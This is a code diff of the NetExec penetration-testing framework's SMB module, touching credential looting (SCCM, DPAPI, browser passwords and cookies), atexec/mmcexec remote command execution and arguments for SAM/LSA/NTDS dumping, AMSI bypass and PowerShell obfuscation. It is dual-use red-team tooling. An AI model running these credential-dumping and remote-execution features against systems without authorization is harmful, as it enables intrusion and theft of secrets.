-                self.logger.highlight(f"[NAA Account] {sccmcred.username.decode('latin-1')}:{sccmcred.password.decode('latin-1')}")
-            for sccmtask in sccmtasks:
-                self.logger.highlight(f"[Task sequences secret] {sccmtask.secret.decode('latin-1')}")
-            for sccmcollection in sccmcollections:
-                self.logger.highlight(f"[Collection Variable] {sccmcollection.variable.decode('latin-1')}:{sccmcollection.value.decode('latin-1')}")
-        except Exception as e:
-            self.logger.debug(f"Error while looting sccm: {e}")
-
     @requires_admin
     def dpapi(self):
         dump_system = "nosystem" not in self.args.dpapi
+        logging.getLogger("dploot").disabled = True
 
         if self.args.pvk is not None:
             try:
@@ -1506,7 +1411,6 @@ class smb(connection):
                 pvkbytes=self.pvkbytes,
                 passwords=plaintexts,
                 nthashes=nthashes,
-                dpapiSystem={},
             )
             self.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
             masterkeys += masterkeys_triage.triage_masterkeys()
@@ -1566,37 +1470,23 @@ class smb(connection):
         except Exception as e:
             self.logger.debug(f"Error while looting browsers: {e}")
         for credential in browser_credentials:
-            if isinstance(credential, LoginData):
-                cred_url = credential.url + " -" if credential.url != "" else "-"
-                self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}")
-                self.db.add_dpapi_secrets(
-                    target.address,
-                    credential.browser.upper(),
-                    credential.winuser,
-                    credential.username,
-                    credential.password,
-                    credential.url,
-                )
-            elif isinstance(credential, GoogleRefreshToken):
-                self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] Google Refresh Token: {credential.service}:{credential.token}")
-                self.db.add_dpapi_secrets(
-                    target.address,
-                    credential.browser.upper(),
-                    credential.winuser,
-                    credential.service,
-                    credential.token,
-                    "Google Refresh Token",
-                )
+            cred_url = credential.url + " -" if credential.url != "" else "-"
+            self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}")
+            self.db.add_dpapi_secrets(
+                target.address,
+                credential.browser.upper(),
+                credential.winuser,
+                credential.username,
+                credential.password,
+                credential.url,
+            )
 
-
-        if dump_cookies and cookies:
+        if dump_cookies:
             self.logger.display("Start Dumping Cookies")
             for cookie in cookies:
                 if cookie.cookie_value != "":
-                    self.logger.highlight(f"[{cookie.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}")
+                    self.logger.highlight(f"[{credential.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}")
             self.logger.display("End Dumping Cookies")
-        elif dump_cookies:
-            self.logger.fail("No cookies found")
 
         vaults = []
         try:
@@ -1637,9 +1527,6 @@ class smb(connection):
                 credential.url,
             )
 
-        if not (credentials or system_credentials or browser_credentials or cookies or vaults or firefox_credentials):
-            self.logger.fail("No secrets found")
-
     @requires_admin
     def lsa(self):
         try:

nxc/protocols/smb/atexec.py

@@ -7,7 +7,7 @@ from time import sleep
 
 
 class TSCH_EXEC:
-    def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, remoteHost=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
+    def __init__(self, target, share_name, username, password, domain, doKerberos=False, aesKey=None, kdcHost=None, hashes=None, logger=None, tries=None, share=None):
         self.__target = target
         self.__username = username
         self.__password = password
@@ -19,7 +19,6 @@ class TSCH_EXEC:
         self.__retOutput = False
         self.__aesKey = aesKey
         self.__doKerberos = doKerberos
-        self.__remoteHost = remoteHost
         self.__kdcHost = kdcHost
         self.__tries = tries
         self.__output_filename = None
@@ -38,7 +37,6 @@ class TSCH_EXEC:
 
         stringbinding = r"ncacn_np:%s[\pipe\atsvc]" % self.__target
         self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
-        self.__rpctransport.setRemoteHost(self.__remoteHost)
 
         if hasattr(self.__rpctransport, "set_credentials"):
             # This method exists only for selected protocol sequences.
@@ -133,7 +131,7 @@ class TSCH_EXEC:
 
         xml = self.gen_xml(command, fileless)
 
-        self.logger.debug(f"Task XML: {xml}")
+        self.logger.info(f"Task XML: {xml}")
         taskCreated = False
         self.logger.info(f"Creating task \\{tmpName}")
         try:
@@ -181,35 +179,22 @@ class TSCH_EXEC:
             else:
                 ":".join(map(str, self.__rpctransport.get_socket().getpeername()))
                 smbConnection = self.__rpctransport.get_smb_connection()
-
-                tries = 0
-                # Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
-                sleep(0.4)
+                tries = 1
                 while True:
                     try:
                         self.logger.info(f"Attempting to read {self.__share}\\{self.__output_filename}")
                         smbConnection.getFile(self.__share, self.__output_filename, self.output_callback)
                         break
                     except Exception as e:
-                        if tries > self.__tries:
+                        if tries >= self.__tries:
                             self.logger.fail("ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
                             break
-                        if "STATUS_BAD_NETWORK_NAME" in str(e):
+                        if str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
                             self.logger.fail(f"ATEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
                             break
-                        elif "STATUS_VIRUS_INFECTED" in str(e):
-                            self.logger.fail("Command did not run because a virus was detected")
-                            break
-                        # When executing powershell and the command is still running, we get a sharing violation
-                        # We can use that information to wait longer than if the file is not found (probably av or something)
-                        if "STATUS_SHARING_VIOLATION" in str(e):
-                            self.logger.info(f"File {self.__share}\\{self.__output_filename} is still in use with {self.__tries - tries} left, retrying...")
+                        if str(e).find("SHARING") > 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
+                            sleep(3)
                             tries += 1
-                            sleep(1)
-                        elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
-                            self.logger.info(f"File {self.__share}\\{self.__output_filename} not found with {self.__tries - tries} left, deducting 10 tries and retrying...")
-                            tries += 10
-                            sleep(1)
                         else:
                             self.logger.debug(str(e))
 

nxc/protocols/smb/database.py

@@ -6,7 +6,7 @@ from pathlib import Path
 from sqlalchemy import MetaData, func, Table, select, delete
 from sqlalchemy.dialects.sqlite import Insert  # used for upsert
 from sqlalchemy.exc import (
-    # IllegalStateChangeError,
+    IllegalStateChangeError,
     NoInspectionAvailable,
     NoSuchTableError,
 )
@@ -193,7 +193,7 @@ class database:
                 print(
                     f"""
                     [-] Error reflecting tables for the {self.protocol} protocol - this means there is a DB schema mismatch
-                    [-] This is probably because a newer version of nxc is being run on an old DB schema
+                    [-] This is probably because a newer version of nxc is being ran on an old DB schema
                     [-] Optionally save the old DB data (`cp {self.db_path} ~/nxc_{self.protocol.lower()}.bak`)
                     [-] Then remove the {self.protocol} DB (`rm -f {self.db_path}`) and run nxc to initialize the new DB"""
                 )
@@ -205,7 +205,7 @@ class database:
         # due to the async nature of nxc, sometimes session state is a bit messy and this will throw:
         # Method 'close()' can't be called here; method '_connection_for_bind()' is already in progress and
         # this would cause an unexpected state change to <SessionTransactionState.CLOSED: 5>
-        except Exception as e:
+        except IllegalStateChangeError as e:
             nxc_logger.debug(f"Error while closing session db object: {e}")
 
     def clear_database(self):

nxc/protocols/smb/mmcexec.py

@@ -58,28 +58,26 @@ from impacket.dcerpc.v5.dtypes import NULL
 
 
 class MMCEXEC:
-    def __init__(self, target, share_name, username, password, domain, smbconnection, doKerberos=False, aesKey=None, kdcHost=None, remoteHost=None, hashes=None, share=None, logger=None, timeout=None, tries=None):
-        self.__target = target
+    def __init__(self, host, share_name, username, password, domain, smbconnection, share, hashes=None, logger=None, tries=None, timeout=None):
+        self.__host = host
         self.__username = username
         self.__password = password
+        self.__smbconnection = smbconnection
         self.__domain = domain
         self.__lmhash = ""
         self.__nthash = ""
-        self.__share = share
-        self.__timeout = timeout
-        self.__smbconnection = smbconnection
+        self.__share_name = share_name
         self.__output = None
         self.__outputBuffer = b""
-        self.__share_name = share_name
         self.__shell = "c:\\windows\\system32\\cmd.exe"
         self.__pwd = "C:\\"
-        self.__aesKey = aesKey
-        self.__kdcHost = kdcHost
-        self.__remoteHost = remoteHost
-        self.__doKerberos = doKerberos
+        self.__quit = None
+        self.__executeShellCommand = None
         self.__retOutput = True
-        self.__stringBinding = ""
+        self.__share = share
+        self.__dcom = None
         self.__tries = tries
+        self.__timeout = timeout
         self.logger = logger
 
         if hashes is not None:
@@ -89,24 +87,21 @@ class MMCEXEC:
                 self.__nthash = hashes
 
         self.__dcom = DCOMConnection(
-            self.__target,
+            self.__host,
             self.__username,
             self.__password,
             self.__domain,
             self.__lmhash,
             self.__nthash,
-            self.__aesKey,
+            None,
             oxidResolver=True,
-            doKerberos=self.__doKerberos,
-            kdcHost=self.__kdcHost,
-            remoteHost=self.__remoteHost,
         )
         try:
             iInterface = self.__dcom.CoCreateInstanceEx(string_to_bin("49B2791A-B1AE-4C90-9B8E-E860BA07F889"), IID_IDispatch)
         except Exception:
             # Make it force break function
             self.__dcom.disconnect()
-        flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__remoteHost, self.__timeout)
+        flag, self.__stringBinding = dcom_FirewallChecker(iInterface, self.__timeout)
         if not flag or not self.__stringBinding:
             error_msg = f'MMCEXEC: Dcom initialization failed on connection with stringbinding: "{self.__stringBinding}", please increase the timeout with the option "--dcom-timeout". If it\'s still failing maybe something is blocking the RPC connection, try another exec method'
 
@@ -247,35 +242,23 @@ class MMCEXEC:
         if self.__retOutput is False:
             self.__outputBuffer = ""
             return
-
-        tries = 0
-        # Give the command a bit of time to execute before we try to read the output, 0.4 seconds was good in testing
-        sleep(0.4)
+        tries = 1
         while True:
             try:
                 self.logger.info(f"Attempting to read {self.__share}\\{self.__output}")
                 self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
                 break
             except Exception as e:
-                if tries > self.__tries:
+                if tries >= self.__tries:
                     self.logger.fail("MMCEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method")
                     break
-                if "STATUS_BAD_NETWORK_NAME" in str(e):
+                if str(e).find("STATUS_BAD_NETWORK_NAME") > 0:
                     self.logger.fail(f"MMCEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!)")
                     break
-                elif "STATUS_VIRUS_INFECTED" in str(e):
-                    self.logger.fail("Command did not run because a virus was detected")
-                    break
-                # When executing powershell and the command is still running, we get a sharing violation
-                # We can use that information to wait longer than if the file is not found (probably av or something)
-                if "STATUS_SHARING_VIOLATION" in str(e):
-                    self.logger.info(f"File {self.__share}\\{self.__output} is still in use with {self.__tries - tries} left, retrying...")
+                if str(e).find("STATUS_SHARING_VIOLATION") >= 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
+                    # Output not finished, let's wait
+                    sleep(2)
                     tries += 1
-                    sleep(1)
-                elif "STATUS_OBJECT_NAME_NOT_FOUND" in str(e):
-                    self.logger.info(f"File {self.__share}\\{self.__output} not found with {self.__tries - tries} left, deducting 10 tries and retrying...")
-                    tries += 10
-                    sleep(1)
                 else:
                     self.logger.debug(str(e))
 

nxc/protocols/smb/passpol.py

@@ -80,8 +80,6 @@ class PassPolDump:
         self.nthash = ""
         self.aesKey = connection.aesKey
         self.doKerberos = connection.kerberos
-        self.host = connection.host
-        self.kdcHost = connection.kdcHost
         self.protocols = PassPolDump.KNOWN_PROTOCOLS.keys()
         self.pass_pol = {}
 
@@ -114,8 +112,6 @@ class PassPolDump:
                 self.nthash,
                 self.aesKey,
                 doKerberos=self.doKerberos,
-                kdcHost=self.kdcHost,
-                remote_host=self.host,
             )
             try:
                 self.fetchList(rpctransport)

nxc/protocols/smb/proto_args.py

@@ -1,90 +1,82 @@
 from argparse import _StoreTrueAction
-from nxc.helpers.args import DisplayDefaultsNotNone
 
 
-def proto_args(parser, parents):
-    smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=parents, formatter_class=DisplayDefaultsNotNone)
+def proto_args(parser, std_parser, module_parser):
+    smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=[std_parser, module_parser])
     smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
-    
     delegate_arg = smb_parser.add_argument("--delegate", action="store", help="Impersonate user with S4U2Self + S4U2Proxy")
     self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)")
-    
     dgroup = smb_parser.add_mutually_exclusive_group()
-    dgroup.add_argument("-d", "--domain", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
+    dgroup.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
     dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
-    
-    smb_parser.add_argument("--port", type=int, default=445, help="SMB port")
-    smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share")
+    smb_parser.add_argument("--port", type=int, choices={445, 139}, default=445, help="SMB port (default: 445)")
+    smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share (default: C$)")
     smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int)
     smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file")
-    smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2)
+    smb_parser.add_argument("--smb-timeout", help="SMB connection timeout, default 2 secondes", type=int, default=2)
     smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
     self_delegate_arg.make_required = [delegate_arg]
 
-    cred_gathering_group = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
-    cred_gathering_group.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
-    cred_gathering_group.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
-    cred_gathering_group.add_argument("--ntds", choices={"vss", "drsuapi"}, nargs="?", const="drsuapi", help="dump the NTDS.dit from target DCs using the specifed method")
-    cred_gathering_group.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
-    cred_gathering_group.add_argument("--sccm", choices={"wmi", "disk"}, nargs="?", const="disk", help="dump SCCM secrets from target systems")
-    cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
-    cred_gathering_group.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
-    cred_gathering_group.add_argument("--enabled", action="store_true", help="Only dump enabled targets from DC")
-    cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC")
+    cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
+    cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
+    cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
+    cgroup.add_argument("--ntds", choices={"vss", "drsuapi"}, nargs="?", const="drsuapi", help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)")
+    cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help='dump DPAPI secrets from target systems, can dump cookies if you add "cookies", will not dump SYSTEM dpapi if you add nosystem\n')
 
-    mapping_enum_group = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
-    mapping_enum_group.add_argument("--shares", action="store_true", help="enumerate shares and access")
-    mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)")
-    mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'")
-    mapping_enum_group.add_argument("--sessions", action="store_true", help="enumerate active sessions")
-    mapping_enum_group.add_argument("--disks", action="store_true", help="enumerate disks")
-    mapping_enum_group.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex")
-    mapping_enum_group.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users")
-    mapping_enum_group.add_argument("--users", nargs="*", metavar="USER", help="enumerate domain users, if a user is specified than only its information is queried.")
-    mapping_enum_group.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="enumerate domain groups, if a group is specified than its members are enumerated")
-    mapping_enum_group.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="enumerate computer users")
-    mapping_enum_group.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated")
-    mapping_enum_group.add_argument("--pass-pol", action="store_true", help="dump password policy")
-    mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs")
-    
-    wmi_group = smb_parser.add_argument_group("WMI", "Options for WMI Queries")
-    wmi_group.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query")
-    wmi_group.add_argument("--wmi-namespace", metavar="NAMESPACE", default="root\\cimv2", help="WMI Namespace")
+    ngroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
+    ngroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
+    ngroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
+    ngroup.add_argument("--enabled", action="store_true", help="Only dump enabled targets from DC")
+    ngroup.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC")
 
-    spidering_group = smb_parser.add_argument_group("Spidering", "Options for spidering shares")
-    spidering_group.add_argument("--spider", metavar="SHARE", type=str, help="share to spider")
-    spidering_group.add_argument("--spider-folder", metavar="FOLDER", default=".", type=str, help="folder to spider")
-    spidering_group.add_argument("--content", action="store_true", help="enable file content searching")
-    spidering_group.add_argument("--exclude-dirs", type=str, metavar="DIR_LIST", default="", help="directories to exclude from spidering")
-    spidering_group.add_argument("--depth", type=int, help="max spider recursion depth")
-    spidering_group.add_argument("--only-files", action="store_true", help="only spider files")
-    segroup = spidering_group.add_mutually_exclusive_group()
+    egroup = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
+    egroup.add_argument("--shares", action="store_true", help="enumerate shares and access")
+    egroup.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)")
+
+    egroup.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'")
+    egroup.add_argument("--sessions", action="store_true", help="enumerate active sessions")
+    egroup.add_argument("--disks", action="store_true", help="enumerate disks")
+    egroup.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex")
+    egroup.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users")
+    egroup.add_argument("--users", nargs="?", const="", metavar="USER", help="enumerate domain users, if a user is specified than only its information is queried.")
+    egroup.add_argument("--groups", nargs="?", const="", metavar="GROUP", help="enumerate domain groups, if a group is specified than its members are enumerated")
+    egroup.add_argument("--computers", nargs="?", const="", metavar="COMPUTER", help="enumerate computer users")
+    egroup.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated")
+    egroup.add_argument("--pass-pol", action="store_true", help="dump password policy")
+    egroup.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RID's (default: 4000)")
+    egroup.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query")
+    egroup.add_argument("--wmi-namespace", metavar="NAMESPACE", default="root\\cimv2", help="WMI Namespace (default: root\\cimv2)")
+
+    sgroup = smb_parser.add_argument_group("Spidering", "Options for spidering shares")
+    sgroup.add_argument("--spider", metavar="SHARE", type=str, help="share to spider")
+    sgroup.add_argument("--spider-folder", metavar="FOLDER", default=".", type=str, help="folder to spider (default: root share directory)")
+    sgroup.add_argument("--content", action="store_true", help="enable file content searching")
+    sgroup.add_argument("--exclude-dirs", type=str, metavar="DIR_LIST", default="", help="directories to exclude from spidering")
+    segroup = sgroup.add_mutually_exclusive_group()
     segroup.add_argument("--pattern", nargs="+", help="pattern(s) to search for in folders, filenames and file content")
     segroup.add_argument("--regex", nargs="+", help="regex(s) to search for in folders, filenames and file content")
+    sgroup.add_argument("--depth", type=int, default=None, help="max spider recursion depth (default: infinity & beyond)")
+    sgroup.add_argument("--only-files", action="store_true", help="only spider files")
 
-    files_group = smb_parser.add_argument_group("Files", "Options for remote file interaction")
-    files_group.add_argument("--put-file", action="append", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
-    files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
-    files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
-
-    cmd_exec_group = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
-    cmd_exec_group.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default="wmiexec", help="method to execute the command. Ignored if in MSSQL mode")
-    cmd_exec_group.add_argument("--dcom-timeout", help="DCOM connection timeout", type=int, default=5)
-    cmd_exec_group.add_argument("--get-output-tries", help="Number of times atexec/smbexec/mmcexec tries to get results", type=int, default=10)
-    cmd_exec_group.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
-    cmd_exec_group.add_argument("--no-output", action="store_true", help="do not retrieve command output")
-
-    cmd_exec_method_group = cmd_exec_group.add_mutually_exclusive_group()
-    cmd_exec_method_group.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified CMD command")
-    cmd_exec_method_group.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
-    
-    posh_group = smb_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation")
-    posh_group.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts")
-    posh_group.add_argument("--amsi-bypass", nargs=1, metavar="FILE", help="File with a custom AMSI bypass")
-    posh_group.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
-    posh_group.add_argument("--force-ps32", action="store_true", help="force PowerShell commands to run in a 32-bit process (may not apply to modules)")
-    posh_group.add_argument("--no-encode", action="store_true", default=False, help="Do not encode the PowerShell command ran on target")
+    tgroup = smb_parser.add_argument_group("Files", "Options for put and get remote files")
+    tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt")
+    tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
+    tgroup.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
 
+    cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
+    cgroup.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default=None, help="method to execute the command. Ignored if in MSSQL mode (default: wmiexec)")
+    cgroup.add_argument("--dcom-timeout", help="DCOM connection timeout, default is 5 secondes", type=int, default=5)
+    cgroup.add_argument("--get-output-tries", help="Number of times atexec/smbexec/mmcexec tries to get results, default is 5", type=int, default=5)
+    cgroup.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output (default: utf-8). If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
+    cgroup.add_argument("--force-ps32", action="store_true", help="force the PowerShell command to run in a 32-bit process")
+    cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
+    cegroup = cgroup.add_mutually_exclusive_group()
+    cegroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified CMD command")
+    cegroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
+    psgroup = smb_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation")
+    psgroup.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts")
+    psgroup.add_argument("--amsi-bypass", nargs=1, metavar="FILE", help="File with a custom AMSI bypass")
+    psgroup.add_argument("--clear-obfscripts", action="store_true", help="Clear all cached obfuscated PowerShell scripts")
 
     return parser
 

nxc/protocols/smb/samrfunc.py

@@ -15,7 +15,7 @@ from nxc.logger import nxc_logger
 class SamrFunc:
     def __init__(self, connection):
         self.logger = connection.logger
-        self.addr = connection.host
+        self.addr = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
         self.protocol = connection.args.port
         self.username = connection.username
         self.password = connection.password
@@ -25,7 +25,6 @@ class SamrFunc:
         self.nthash = ""
         self.aesKey = connection.aesKey
         self.doKerberos = connection.kerberos
-        self.kdcHost = connection.kdcHost
 
         if self.hash is not None:
             if self.hash.find(":") != -1:
@@ -36,8 +35,16 @@ class SamrFunc:
         if self.password is None:
             self.password = ""
 
-        self.samr_query = SAMRQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.host, kerberos=self.doKerberos, kdcHost=self.kdcHost, aesKey=self.aesKey)
-        self.lsa_query = LSAQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.host, kdcHost=self.kdcHost, kerberos=self.doKerberos, aesKey=self.aesKey, logger=self.logger)
+        self.samr_query = SAMRQuery(
+            username=self.username,
+            password=self.password,
+            domain=self.domain,
+            remote_name=self.addr,
+            remote_host=self.addr,
+            kerberos=self.doKerberos,
+            aesKey=self.aesKey,
+        )
+        self.lsa_query = LSAQuery(username=self.username, password=self.password, domain=self.domain, remote_name=self.addr, remote_host=self.addr, kerberos=self.doKerberos, aesKey=self.aesKey, logger=self.logger)
 
     def get_builtin_groups(self):
         domains = self.samr_query.get_domains()
@@ -49,6 +56,7 @@ class SamrFunc:
         domain_handle = self.samr_query.get_domain_handle("Builtin")
         return self.samr_query.get_domain_aliases(domain_handle)
 
+
     def get_custom_groups(self):
         domains = self.samr_query.get_domains()
         custom_groups = {}
@@ -91,7 +99,6 @@ class SAMRQuery:
         remote_name="",
         remote_host="",
         kerberos=None,
-        kdcHost="",
         aesKey="",
     ):
         self.__username = username
@@ -104,7 +111,6 @@ class SAMRQuery:
         self.__remote_name = remote_name
         self.__remote_host = remote_host
         self.__kerberos = kerberos
-        self.__kdcHost = kdcHost
         self.dce = self.get_dce()
         self.server_handle = self.get_server_handle()
 
@@ -113,7 +119,7 @@ class SAMRQuery:
         nxc_logger.debug(f"Binding to {string_binding}")
         # using a direct SMBTransport instead of DCERPCTransportFactory since we need the filename to be '\samr'
         return transport.SMBTransport(
-            self.__remote_name,
+            self.__remote_host,
             self.__port,
             r"\samr",
             self.__username,
@@ -123,12 +129,10 @@ class SAMRQuery:
             self.__nthash,
             self.__aesKey,
             doKerberos=self.__kerberos,
-            kdcHost=self.__kdcHost,
         )
 
     def get_dce(self):
         rpc_transport = self.get_transport()
-        rpc_transport.setRemoteHost(self.__remote_host)
         try:
             dce = rpc_transport.get_dce_rpc()
             dce.connect()
@@ -164,7 +168,7 @@ class SAMRQuery:
 
     def get_domain_aliases(self, domain_handle):
         """Use a dictionary comprehension to generate the aliases dictionary.
-
+        
         Calls the hSamrEnumerateAliasesInDomain() method directly in the dictionary comprehension and extracts the "Name" and "RelativeId" values from each element in the "Buffer" list
         """
         return {alias["Name"]: alias["RelativeId"] for alias in samr.hSamrEnumerateAliasesInDomain(self.dce, domain_handle)["Buffer"]["Buffer"]}
@@ -180,7 +184,7 @@ class SAMRQuery:
 
 
 class LSAQuery:
-    def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", kdcHost="", aesKey="", kerberos=None, logger=None):
+    def __init__(self, username="", password="", domain="", port=445, remote_name="", remote_host="", aesKey="", kerberos=None, logger=None):
         self.__username = username
         self.__password = password
         self.__domain = domain
@@ -190,7 +194,6 @@ class LSAQuery:
         self.__port = port
         self.__remote_name = remote_name
         self.__remote_host = remote_host
-        self.__kdcHost = kdcHost
         self.__kerberos = kerberos
         self.dce = self.get_dce()
         self.policy_handle = self.get_policy_handle()
@@ -202,7 +205,7 @@ class LSAQuery:
         rpc_transport.set_dport(self.__port)
         rpc_transport.setRemoteHost(self.__remote_host)
         if self.__kerberos:
-            rpc_transport.set_kerberos(self.__kerberos, self.__kdcHost)
+            rpc_transport.set_kerberos(True, None)
         if hasattr(rpc_transport, "set_credentials"):
             # This method exists only for selected protocol sequences.
             rpc_transport.set_credentials(
@@ -234,7 +237,7 @@ class LSAQuery:
 
     def lookup_sids(self, sids):
         """Use a list comprehension to generate the names list.
-
+        
         It calls the hLsarLookupSids() method directly in the list comprehension and extracts the "Name" value from each element in the "Names" list.
         """
         return [translated_names["Name"] for translated_names in lsat.hLsarLookupSids(self.dce, self.policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)["TranslatedNames"]["Names"]]

nxc/protocols/smb/samruser.py

@@ -4,7 +4,6 @@ from impacket.dcerpc.v5 import transport, samr
 from impacket.dcerpc.v5.rpcrt import DCERPCException
 from impacket.dcerpc.v5.rpcrt import DCERPC_v5
 from impacket.nt_errors import STATUS_MORE_ENTRIES
-from datetime import datetime, timedelta
 
 
 class UserSamrDump:
@@ -25,12 +24,8 @@ class UserSamrDump:
         self.nthash = ""
         self.aesKey = connection.aesKey
         self.doKerberos = connection.kerberos
-        self.host = connection.host
-        self.kdcHost = connection.kdcHost
         self.protocols = UserSamrDump.KNOWN_PROTOCOLS.keys()
         self.users = []
-        self.rpc_transport = None
-        self.dce = None
 
